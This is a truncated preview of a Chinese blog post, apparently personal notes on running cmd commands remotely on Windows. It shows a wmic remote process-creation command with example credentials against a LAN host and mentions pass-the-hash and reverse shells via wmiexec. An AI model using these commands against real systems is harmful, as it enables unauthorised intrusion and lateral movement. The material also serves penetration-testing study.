https://www.cnblogs.com/zpchcbd/

原创 Windows远程执行cmd命令的方法

觉得对自己有用 于是就记录下来了WMI执行命令(普通权限可以进行hash传递)：无回显执行：wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>c:\result.txt"利用wmiexec工具配合进行反弹半交互shell：cscript.e...